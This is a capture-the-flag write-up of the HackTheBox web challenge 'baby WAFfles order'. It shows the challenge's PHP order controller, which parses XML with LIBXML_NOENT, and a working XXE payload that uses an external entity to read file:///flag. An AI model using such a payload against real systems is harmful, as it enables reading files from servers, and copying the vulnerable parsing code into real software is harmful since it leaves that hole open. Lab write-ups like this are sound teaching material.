baby WAFfles order

Platform: HackTheBox | Category: Web | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Our WAFfles and ice scream are out of this world, come to our online WAFfles house and check out our super secure ordering system API!

Solution Approach

Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.

Steps

1. First, open the host given.

2. Try to order ICE SCREAM for table number 1.

3. Actually didn't see any change.

4. Notice the web's title named xxe. Hence we may do XML injection (?)

5. Use Burp Suite to play with the request.

6. Try to order "ice scream" for table 1, and open the request in Burp Suite.

7. Now send the request to repeater.

8. I used a payload from this online cheatsheet.

9. Use this one.

10. But, we need to find the correct html tag and modify some of the payload.

11. When i tried traverse the directory which have the source codes, looking for the correct tag.

12. Found OrderController.php.

<?php
class OrderController
    public function order($router)
    {
        $body = file_get_contents('php://input');
        if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/json')
        {
            $order = json_decode($body);
            if (!$order->food) 
                return json_encode([
                    'status' => 'danger',
                    'message' => 'You need to select a food option first'
                ]);
            return json_encode([
                'status' => 'success',
                'message' => "Your {$order->food} order has been submitted successfully."
            ]);
        }
        else if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/xml')
        {
            $order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT);
            if (!$order->food) return 'You need to select a food option first';
            return "Your {$order->food} order has been submitted successfully.";
        }
        else
        {
            return $router->abort(400);
        }
    }

1. I can assume that order and food are our entities. But since there's a table number as the placeholder, let us add that too.

2. Try with:

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]>
<order>
  <table_num>1</table_num>
 <food>&ent;</food>
</order>

1. And change the content-type value to -> application/xml, then send the request.

2. Got the flag!

Flag

REDACTED

Lessons Learned

1. Identify the weakness from source review or fingerprinting first.
2. Iterate with incremental payloads instead of guessing.
3. Reuse the same pattern in future engagements.